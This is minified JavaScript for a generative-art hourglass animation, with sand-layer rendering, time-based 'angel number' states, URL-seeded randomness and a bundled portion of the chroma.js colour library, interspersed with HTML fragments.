map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
4j2DC-L5:K47Q8caTFkYMbBbOW8pgpsEUSvisPliaChvmSexOI88=
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
